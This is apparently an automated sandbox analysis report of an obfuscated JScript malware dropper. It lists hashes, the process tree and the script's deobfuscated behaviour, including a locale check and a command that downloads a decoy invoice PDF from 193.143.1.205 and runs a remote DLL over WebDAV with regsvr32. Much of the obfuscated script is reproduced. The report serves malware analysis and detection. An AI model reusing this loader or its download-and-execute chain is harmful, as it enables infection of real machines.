Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (20592), with CRLF line terminators
Entropy (8bit):	4.905248328321242
TrID:
File name:	647915480318827205.js
File size:	24'062 bytes
MD5:	aa7900efb9b65e2e91572a805b4dfb00
SHA1:	e3ed8765470c437e24cadad2237fa81c349c8225
SHA256:	37489cec8ecddafeb3914569eb1445d8191848f5b1330997607eb24e133f4cb3
SHA512:	9eef6feb63b65819b49bfe40f257dab6769d55f550805edd20baacdd63f999c6178558baa3ab5b505be51da144b13f715f90219b9bfae57f75b87e0215d49088
SSDEEP:	384:p//lROSaq+81if/lRO7dBhqTYEHxGhw0H3F0HWDv9sQGMbwlnsQBapcFjxCTWgZ6:p/dROSav81ifdRO5BhqTYEHxGhw0H10B
TLSH:	4BB287C50C12CFEE41E941A4C09F86A3696C824E4CF550FEC89E69D92AB57F0A5EC5FC
File Content Preview:	function hqrra(){xkvpe=[1031,3079,5127,4103,2055,3072];var nvyqq=this[mwjctfe+rvwpdujrl+lkebchf+rzfhkk+vcqkspx+wvljkw+ezaxiwnd+wxjgmev](this[ugylellhq+zxewm+shpnlg+lkebchf+snrrt+mwjctfe+wxjgmev][xzawzsmi+lkebchf+vcqkspx+rvwpdujrl+wxjgmev+vcqkspx+harxgwv+j

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	12:05:16
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\647915480318827205.js"
Imagebase:	0x7ff63abf0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:05:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll
Imagebase:	0x7ff624c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:05:17
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:05:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff624c80000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:05:26
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60d500000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:05:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:05:28
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:05:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1644,i,9985330244955077612,10226034599088228231,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hqrra() {	hqrra() ➔ undefined
1	xkvpe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nvyqq = this[mwjctfe + rvwpdujrl + lkebchf + rzfhkk + vcqkspx + wvljkw + ezaxiwnd + wxjgmev] ( this[ugylellhq + zxewm + shpnlg + lkebchf + snrrt + mwjctfe + wxjgmev][xzawzsmi + lkebchf + vcqkspx + rvwpdujrl + wxjgmev + vcqkspx + harxgwv + jnjamhq + lbnnghhlz + vcqkspx + shpnlg + wxjgmev] ( ugylellhq + zxewm + shpnlg + lkebchf + snrrt + mwjctfe + wxjgmev + qqcclfi + zxewm + fgarwtczo + vcqkspx + hczqqb + hczqqb ) [vwzzgnu + vcqkspx + megawerd + vwzzgnu + vcqkspx + rvwpdujrl + kkwxqcz] ( puincro + aspiqsc + rugnpf + ezvokd + tmzcwjk + xzawzsmi + orbvt + vwzzgnu + vwzzgnu + rugnpf + erltwf + verzv + tmzcwjk + orbvt + zxewm + rugnpf + vwzzgnu + nneeeyfv + xzawzsmi + kihud + ezaxiwnd + wxjgmev + lkebchf + kihud + hczqqb + kpoimkf + nreayy + rvwpdujrl + ezaxiwnd + vcqkspx + hczqqb + nneeeyfv + wvljkw + ezaxiwnd + wxjgmev + vcqkspx + lkebchf + ezaxiwnd + rvwpdujrl + wxjgmev + snrrt + kihud + ezaxiwnd + rvwpdujrl + hczqqb + nneeeyfv + fnxmfvb + kihud + shpnlg + rvwpdujrl + hczqqb + vcqkspx ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xmknywv = 0 ; xmknywv < xkvpe[hczqqb + vcqkspx + ezaxiwnd + megawerd + wxjgmev + fgarwtczo] ; ++ xmknywv )
4	{
5	if ( nvyqq == xkvpe[xmknywv] )
6	{
7	nvyqq = true;
8	break ;
9	}
10	}
11	if ( nvyqq !== true )
12	this[ugylellhq + zxewm + shpnlg + lkebchf + snrrt + mwjctfe + wxjgmev][xlavfjwlj + qxccaogs + snrrt + wxjgmev] ( );
13	this[ugylellhq + zxewm + shpnlg + lkebchf + snrrt + mwjctfe + wxjgmev][xzawzsmi + lkebchf + vcqkspx + rvwpdujrl + wxjgmev + vcqkspx + harxgwv + jnjamhq + lbnnghhlz + vcqkspx + shpnlg + wxjgmev] ( ugylellhq + zxewm + shpnlg + lkebchf + snrrt + mwjctfe + wxjgmev + qqcclfi + zxewm + fgarwtczo + vcqkspx + hczqqb + hczqqb ) [lkebchf + qxccaogs + ezaxiwnd] ( shpnlg + bqjyqii + kkwxqcz + kpoimkf + irsehmvxi + shpnlg + kpoimkf + mwjctfe + kihud + tbgmxek + vcqkspx + lkebchf + rzfhkk + fgarwtczo + vcqkspx + hczqqb + hczqqb + qqcclfi + vcqkspx + ligqlskwb + vcqkspx + kpoimkf + yfgxuy + xzawzsmi + kihud + bqjyqii + bqjyqii + rvwpdujrl + ezaxiwnd + kkwxqcz + kpoimkf + gzijprkb + wvljkw + ezaxiwnd + onagj + kihud + vclnqto + vcqkspx + yfgxuy + ugylellhq + vcqkspx + jnjamhq + vwzzgnu + vcqkspx + tpsaw + qxccaogs + vcqkspx + rzfhkk + wxjgmev + kpoimkf + yfgxuy + harxgwv + qxccaogs + wxjgmev + djqnypr + snrrt + hczqqb + vcqkspx + kpoimkf + mwpkbqc + wxjgmev + vcqkspx + bqjyqii + mwjctfe + mwpkbqc + nneeeyfv + snrrt + ezaxiwnd + onagj + kihud + snrrt + shpnlg + vcqkspx + qqcclfi + mwjctfe + kkwxqcz + wfrmrli + kpoimkf + fgarwtczo + wxjgmev + wxjgmev + mwjctfe + nxmpowbgb + irsehmvxi + irsehmvxi + bcolmi + xqwadwjlf + sduqtwg + qqcclfi + bcolmi + iqpezsqmc + sduqtwg + qqcclfi + bcolmi + qqcclfi + lykntmt + snseeon + rxbbi + irsehmvxi + snrrt + ezaxiwnd + onagj + kihud + snrrt + shpnlg + vcqkspx + qqcclfi + mwjctfe + fgarwtczo + mwjctfe + gzijprkb + andnzku + andnzku + rzfhkk + wxjgmev + rvwpdujrl + lkebchf + wxjgmev + kpoimkf + mwpkbqc + wxjgmev + vcqkspx + bqjyqii + mwjctfe + mwpkbqc + nneeeyfv + snrrt + ezaxiwnd + onagj + kihud + snrrt + shpnlg + vcqkspx + qqcclfi + mwjctfe + kkwxqcz + wfrmrli + andnzku + andnzku + shpnlg + bqjyqii + kkwxqcz + kpoimkf + irsehmvxi + shpnlg + kpoimkf + ezaxiwnd + vcqkspx + wxjgmev + kpoimkf + qxccaogs + rzfhkk + vcqkspx + kpoimkf + nneeeyfv + nneeeyfv + bcolmi + xqwadwjlf + sduqtwg + qqcclfi + bcolmi + iqpezsqmc + sduqtwg + qqcclfi + bcolmi + qqcclfi + lykntmt + snseeon + rxbbi + abeub + jmrdvzzoa + jmrdvzzoa + jmrdvzzoa + jmrdvzzoa + nneeeyfv + kkwxqcz + rvwpdujrl + onagj + tbgmxek + tbgmxek + tbgmxek + lkebchf + kihud + kihud + wxjgmev + nneeeyfv + andnzku + andnzku + shpnlg + bqjyqii + kkwxqcz + kpoimkf + irsehmvxi + shpnlg + kpoimkf + lkebchf + vcqkspx + megawerd + rzfhkk + onagj + lkebchf + sduqtwg + lykntmt + kpoimkf + irsehmvxi + rzfhkk + kpoimkf + nneeeyfv + nneeeyfv + bcolmi + xqwadwjlf + sduqtwg + qqcclfi + bcolmi + iqpezsqmc + sduqtwg + qqcclfi + bcolmi + qqcclfi + lykntmt + snseeon + rxbbi + abeub + jmrdvzzoa + jmrdvzzoa + jmrdvzzoa + jmrdvzzoa + nneeeyfv + kkwxqcz + rvwpdujrl + onagj + tbgmxek + tbgmxek + tbgmxek + lkebchf + kihud + kihud + wxjgmev + nneeeyfv + bcolmi + xqwadwjlf + bnxfmwk + xqwadwjlf + xqwadwjlf + lykntmt + snseeon + oroidgole + bnxfmwk + sduqtwg + lykntmt + lykntmt + snseeon + rxbbi + bcolmi + qqcclfi + kkwxqcz + hczqqb + hczqqb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197992067322051.dll",0,false) ➔ 0
14	}
15	tbgmxek = "h";
16	tbgmxek = "a";
17	tbgmxek = "h";
18	tbgmxek = "S";
19	tbgmxek = "Y";
20	tbgmxek = "r";
21	tbgmxek = "R";
22	tbgmxek = "t";
23	tbgmxek = "N";
24	tbgmxek = "P";
25	tbgmxek = "m";
26	tbgmxek = "J";
27	tbgmxek = "F";
28	tbgmxek = "H";
29	tbgmxek = "c";
30	tbgmxek = "u";
31	tbgmxek = "f";
32	tbgmxek = "n";
33	tbgmxek = "j";
34	tbgmxek = "N";
35	tbgmxek = "R";
36	tbgmxek = "B";
37	tbgmxek = "V";
38	tbgmxek = "Y";
39	tbgmxek = "i";
40	tbgmxek = "U";
41	tbgmxek = "Z";
42	tbgmxek = "u";
43	tbgmxek = "a";
44	tbgmxek = "O";
45	tbgmxek = "U";
46	tbgmxek = "I";
47	tbgmxek = "v";
48	tbgmxek = "K";
49	tbgmxek = "v";
50	tbgmxek = "k";
51	tbgmxek = "g";
52	tbgmxek = "W";
53	tbgmxek = "r";
54	tbgmxek = "d";
55	tbgmxek = "L";
56	tbgmxek = "W";
57	tbgmxek = "n";
58	tbgmxek = "w";
59	hczqqb = "D";
60	hczqqb = "c";
61	hczqqb = "A";
62	hczqqb = "o";
63	hczqqb = "c";
64	hczqqb = "j";
65	hczqqb = "I";
66	hczqqb = "i";
67	hczqqb = "X";
68	hczqqb = "B";
69	hczqqb = "I";
70	hczqqb = "E";
71	hczqqb = "b";
72	hczqqb = "S";
73	hczqqb = "w";
74	hczqqb = "C";
75	hczqqb = "g";
76	hczqqb = "j";
77	hczqqb = "w";
78	hczqqb = "f";
79	hczqqb = "P";
80	hczqqb = "R";
81	hczqqb = "l";
82	hczqqb = "U";
83	hczqqb = "r";
84	hczqqb = "e";
85	hczqqb = "F";
86	hczqqb = "r";
87	hczqqb = "H";
88	hczqqb = "j";
89	hczqqb = "w";
90	hczqqb = "f";
91	hczqqb = "y";
92	hczqqb = "l";
93	ezaxiwnd = "q";
94	ezaxiwnd = "v";
95	ezaxiwnd = "Q";
96	ezaxiwnd = "I";
97	ezaxiwnd = "Y";
98	ezaxiwnd = "R";
99	ezaxiwnd = "o";
100	ezaxiwnd = "h";
101	ezaxiwnd = "Z";
102	ezaxiwnd = "f";
103	ezaxiwnd = "V";
104	ezaxiwnd = "B";
105	ezaxiwnd = "o";
106	ezaxiwnd = "l";
107	ezaxiwnd = "K";
108	ezaxiwnd = "n";
109	tmzcwjk = "F";
110	tmzcwjk = "I";
111	tmzcwjk = "F";
112	tmzcwjk = "k";
113	tmzcwjk = "O";
114	tmzcwjk = "A";
115	tmzcwjk = "r";
116	tmzcwjk = "p";
117	tmzcwjk = "O";
118	tmzcwjk = "o";
119	tmzcwjk = "d";
120	tmzcwjk = "Z";
121	tmzcwjk = "Z";
122	tmzcwjk = "l";
123	tmzcwjk = "v";
124	tmzcwjk = "G";
125	tmzcwjk = "G";
126	tmzcwjk = "X";
127	tmzcwjk = "j";
128	tmzcwjk = "A";
129	tmzcwjk = "F";
130	tmzcwjk = "w";
131	tmzcwjk = "k";
132	tmzcwjk = "Z";
133	tmzcwjk = "S";
134	tmzcwjk = "N";
135	tmzcwjk = "i";
136	tmzcwjk = "R";
137	tmzcwjk = "L";
138	tmzcwjk = "c";
139	tmzcwjk = "v";
140	tmzcwjk = "C";
141	tmzcwjk = "J";
142	tmzcwjk = "m";
143	tmzcwjk = "H";
144	tmzcwjk = "W";
145	tmzcwjk = "x";
146	tmzcwjk = "p";
147	tmzcwjk = "_";
148	ugylellhq = "d";
149	ugylellhq = "D";
150	ugylellhq = "k";
151	ugylellhq = "q";
152	ugylellhq = "x";
153	ugylellhq = "Y";
154	ugylellhq = "R";
155	ugylellhq = "i";
156	ugylellhq = "s";
157	ugylellhq = "f";
158	ugylellhq = "g";
159	ugylellhq = "h";
160	ugylellhq = "Z";
161	ugylellhq = "K";
162	ugylellhq = "D";
163	ugylellhq = "T";
164	ugylellhq = "p";
165	ugylellhq = "T";
166	ugylellhq = "D";
167	ugylellhq = "f";
168	ugylellhq = "B";
169	ugylellhq = "j";
170	ugylellhq = "F";
171	ugylellhq = "L";
172	ugylellhq = "i";
173	ugylellhq = "D";
174	ugylellhq = "I";
175	ugylellhq = "Z";
176	ugylellhq = "Y";
177	ugylellhq = "E";
178	ugylellhq = "c";
179	ugylellhq = "W";
180	harxgwv = "b";
181	harxgwv = "b";
182	harxgwv = "w";
183	harxgwv = "X";
184	harxgwv = "o";
185	harxgwv = "e";
186	harxgwv = "k";
187	harxgwv = "c";
188	harxgwv = "u";
189	harxgwv = "J";
190	harxgwv = "W";
191	harxgwv = "B";
192	harxgwv = "Y";
193	harxgwv = "V";
194	harxgwv = "y";
195	harxgwv = "I";
196	harxgwv = "U";
197	harxgwv = "f";
198	harxgwv = "A";
199	harxgwv = "x";
200	harxgwv = "w";
201	harxgwv = "O";
202	orbvt = "T";
203	orbvt = "E";
204	orbvt = "T";
205	orbvt = "b";
206	orbvt = "G";
207	orbvt = "q";
208	orbvt = "F";
209	orbvt = "i";
210	orbvt = "m";
211	orbvt = "c";
212	orbvt = "L";
213	orbvt = "T";
214	orbvt = "x";
215	orbvt = "k";
216	orbvt = "R";
217	orbvt = "M";
218	orbvt = "L";
219	orbvt = "U";
220	wvljkw = "L";
221	wvljkw = "S";
222	wvljkw = "I";
223	wxjgmev = "C";
224	wxjgmev = "W";
225	wxjgmev = "J";
226	wxjgmev = "S";
227	wxjgmev = "C";
228	wxjgmev = "Z";
229	wxjgmev = "e";
230	wxjgmev = "g";
231	wxjgmev = "o";
232	wxjgmev = "X";
233	wxjgmev = "P";
234	wxjgmev = "M";
235	wxjgmev = "b";
236	wxjgmev = "O";
237	wxjgmev = "B";
238	wxjgmev = "U";
239	wxjgmev = "h";
240	wxjgmev = "t";
241	xzawzsmi = "J";
242	xzawzsmi = "n";
243	xzawzsmi = "N";
244	xzawzsmi = "j";
245	xzawzsmi = "s";
246	xzawzsmi = "G";
247	xzawzsmi = "A";
248	xzawzsmi = "r";
249	xzawzsmi = "a";
250	xzawzsmi = "V";
251	xzawzsmi = "V";
252	xzawzsmi = "l";
253	xzawzsmi = "G";
254	xzawzsmi = "C";
255	kihud = "K";
256	kihud = "F";
257	kihud = "r";
258	kihud = "A";
259	kihud = "g";
260	kihud = "x";
261	kihud = "h";
262	kihud = "y";
263	kihud = "X";
264	kihud = "N";
265	kihud = "H";
266	kihud = "E";
267	kihud = "B";
268	kihud = "Z";
269	kihud = "x";
270	kihud = "o";
271	kihud = "J";
272	kihud = "K";
273	kihud = "m";
274	kihud = "Z";
275	kihud = "i";
276	kihud = "o";
277	rzfhkk = "H";
278	rzfhkk = "R";
279	rzfhkk = "G";
280	rzfhkk = "J";
281	rzfhkk = "B";
282	rzfhkk = "W";
283	rzfhkk = "h";
284	rzfhkk = "b";
285	rzfhkk = "A";
286	rzfhkk = "r";
287	rzfhkk = "s";
288	rzfhkk = "x";
289	rzfhkk = "i";
290	rzfhkk = "d";
291	rzfhkk = "c";
292	rzfhkk = "v";
293	rzfhkk = "M";
294	rzfhkk = "L";
295	rzfhkk = "a";
296	rzfhkk = "e";
297	rzfhkk = "n";
298	rzfhkk = "J";
299	rzfhkk = "C";
300	rzfhkk = "m";
301	rzfhkk = "u";
302	rzfhkk = "s";
303	wfrmrli = "G";
304	wfrmrli = "f";
305	wfrmrli = "e";
306	wfrmrli = "g";
307	wfrmrli = "m";
308	wfrmrli = "t";
309	wfrmrli = "Y";
310	wfrmrli = "h";
311	wfrmrli = "s";
312	wfrmrli = "y";
313	wfrmrli = "f";
314	fnxmfvb = "o";
315	fnxmfvb = "d";
316	fnxmfvb = "V";
317	fnxmfvb = "z";
318	fnxmfvb = "P";
319	fnxmfvb = "R";
320	fnxmfvb = "v";
321	fnxmfvb = "u";
322	fnxmfvb = "I";
323	fnxmfvb = "i";
324	fnxmfvb = "G";
325	fnxmfvb = "h";
326	fnxmfvb = "R";
327	fnxmfvb = "j";
328	fnxmfvb = "s";
329	fnxmfvb = "B";
330	fnxmfvb = "l";
331	fnxmfvb = "r";
332	fnxmfvb = "q";
333	fnxmfvb = "A";
334	fnxmfvb = "N";
335	fnxmfvb = "I";
336	fnxmfvb = "e";
337	fnxmfvb = "G";
338	fnxmfvb = "p";
339	fnxmfvb = "W";
340	fnxmfvb = "t";
341	fnxmfvb = "r";
342	fnxmfvb = "L";
343	erltwf = "F";
344	erltwf = "p";
345	erltwf = "K";
346	erltwf = "P";
347	erltwf = "H";
348	erltwf = "t";
349	erltwf = "w";
350	erltwf = "R";
351	erltwf = "A";
352	erltwf = "T";
353	erltwf = "Z";
354	erltwf = "d";
355	erltwf = "A";
356	erltwf = "h";
357	erltwf = "Y";
358	erltwf = "s";
359	erltwf = "z";
360	erltwf = "F";
361	erltwf = "e";
362	erltwf = "N";
363	erltwf = "K";
364	erltwf = "p";
365	erltwf = "D";
366	erltwf = "x";
367	erltwf = "i";
368	erltwf = "z";
369	erltwf = "S";
370	erltwf = "N";
371	snrrt = "D";
372	snrrt = "g";
373	snrrt = "a";
374	snrrt = "V";
375	snrrt = "H";
376	snrrt = "S";
377	snrrt = "g";
378	snrrt = "B";
379	snrrt = "I";
380	snrrt = "C";
381	snrrt = "u";
382	snrrt = "A";
383	snrrt = "X";
384	snrrt = "a";
385	snrrt = "X";
386	snrrt = "l";
387	snrrt = "n";
388	snrrt = "F";
389	snrrt = "C";
390	snrrt = "D";
391	snrrt = "w";
392	snrrt = "V";
393	snrrt = "v";
394	snrrt = "j";
395	snrrt = "L";
396	snrrt = "m";
397	snrrt = "G";
398	snrrt = "E";
399	snrrt = "g";
400	snrrt = "k";
401	snrrt = "h";
402	snrrt = "i";
403	jmrdvzzoa = "M";
404	jmrdvzzoa = "s";
405	jmrdvzzoa = "D";
406	jmrdvzzoa = "g";
407	jmrdvzzoa = "L";
408	jmrdvzzoa = "p";
409	jmrdvzzoa = "C";
410	jmrdvzzoa = "j";
411	jmrdvzzoa = "Y";
412	jmrdvzzoa = "E";
413	jmrdvzzoa = "g";
414	jmrdvzzoa = "l";
415	jmrdvzzoa = "N";
416	jmrdvzzoa = "E";
417	jmrdvzzoa = "n";
418	jmrdvzzoa = "a";
419	jmrdvzzoa = "F";
420	jmrdvzzoa = "q";
421	jmrdvzzoa = "Q";
422	jmrdvzzoa = "n";
423	jmrdvzzoa = "b";
424	jmrdvzzoa = "p";
425	jmrdvzzoa = "U";
426	jmrdvzzoa = "i";
427	jmrdvzzoa = "d";
428	jmrdvzzoa = "8";
429	onagj = "U";
430	onagj = "n";
431	onagj = "C";
432	onagj = "e";
433	onagj = "S";
434	onagj = "t";
435	onagj = "a";
436	onagj = "a";
437	onagj = "s";
438	onagj = "L";
439	onagj = "h";
440	onagj = "L";
441	onagj = "M";
442	onagj = "P";
443	onagj = "h";
444	onagj = "V";
445	onagj = "x";
446	onagj = "q";
447	onagj = "S";
448	onagj = "k";
449	onagj = "T";
450	onagj = "W";
451	onagj = "P";
452	onagj = "V";
453	onagj = "c";
454	onagj = "S";
455	onagj = "Y";
456	onagj = "q";
457	onagj = "F";
458	onagj = "l";
459	onagj = "G";
460	onagj = "N";
461	onagj = "V";
462	onagj = "B";
463	onagj = "g";
464	onagj = "j";
465	onagj = "B";
466	onagj = "y";
467	onagj = "v";
468	kkwxqcz = "L";
469	kkwxqcz = "Z";
470	kkwxqcz = "W";
471	kkwxqcz = "c";
472	kkwxqcz = "v";
473	kkwxqcz = "g";
474	kkwxqcz = "k";
475	kkwxqcz = "w";
476	kkwxqcz = "W";
477	kkwxqcz = "J";
478	kkwxqcz = "V";
479	kkwxqcz = "v";
480	kkwxqcz = "h";
481	kkwxqcz = "q";
482	kkwxqcz = "e";
483	kkwxqcz = "w";
484	kkwxqcz = "x";
485	kkwxqcz = "a";
486	kkwxqcz = "h";
487	kkwxqcz = "u";
488	kkwxqcz = "e";
489	kkwxqcz = "U";
490	kkwxqcz = "Z";
491	kkwxqcz = "T";
492	kkwxqcz = "E";
493	kkwxqcz = "F";
494	kkwxqcz = "c";
495	kkwxqcz = "P";
496	kkwxqcz = "j";
497	kkwxqcz = "U";
498	kkwxqcz = "P";
499	kkwxqcz = "V";
500	kkwxqcz = "e";
501	kkwxqcz = "p";
502	kkwxqcz = "d";
503	kkwxqcz = "p";
504	kkwxqcz = "E";
505	kkwxqcz = "H";
506	kkwxqcz = "e";
507	kkwxqcz = "d";
508	rugnpf = "A";
509	rugnpf = "H";
510	rugnpf = "f";
511	rugnpf = "s";
512	rugnpf = "f";
513	rugnpf = "K";
514	rugnpf = "z";
515	rugnpf = "k";
516	rugnpf = "c";
517	rugnpf = "h";
518	rugnpf = "p";
519	rugnpf = "v";
520	rugnpf = "y";
521	rugnpf = "p";
522	rugnpf = "V";
523	rugnpf = "F";
524	rugnpf = "k";
525	rugnpf = "v";
526	rugnpf = "I";
527	rugnpf = "i";
528	rugnpf = "f";
529	rugnpf = "T";
530	rugnpf = "b";
531	rugnpf = "G";
532	rugnpf = "u";
533	rugnpf = "u";
534	rugnpf = "M";
535	rugnpf = "E";
536	zxewm = "O";
537	zxewm = "M";
538	zxewm = "r";
539	zxewm = "H";
540	zxewm = "X";
541	zxewm = "M";
542	zxewm = "H";
543	zxewm = "R";
544	zxewm = "n";
545	zxewm = "E";
546	zxewm = "w";
547	zxewm = "s";
548	zxewm = "w";
549	zxewm = "L";
550	zxewm = "W";
551	zxewm = "B";
552	zxewm = "U";
553	zxewm = "E";
554	zxewm = "a";
555	zxewm = "D";
556	zxewm = "c";
557	zxewm = "H";
558	zxewm = "a";
559	zxewm = "o";
560	zxewm = "F";
561	zxewm = "F";
562	zxewm = "t";
563	zxewm = "Y";
564	zxewm = "P";
565	zxewm = "r";
566	zxewm = "d";
567	zxewm = "P";
568	zxewm = "W";
569	zxewm = "J";
570	zxewm = "J";
571	zxewm = "y";
572	zxewm = "L";
573	zxewm = "Y";
574	zxewm = "d";
575	zxewm = "U";
576	zxewm = "g";
577	zxewm = "S";
578	vwzzgnu = "g";
579	vwzzgnu = "Q";
580	vwzzgnu = "h";
581	vwzzgnu = "l";
582	vwzzgnu = "q";
583	vwzzgnu = "y";
584	vwzzgnu = "k";
585	vwzzgnu = "m";
586	vwzzgnu = "w";
587	vwzzgnu = "v";
588	vwzzgnu = "A";
589	vwzzgnu = "W";
590	vwzzgnu = "d";
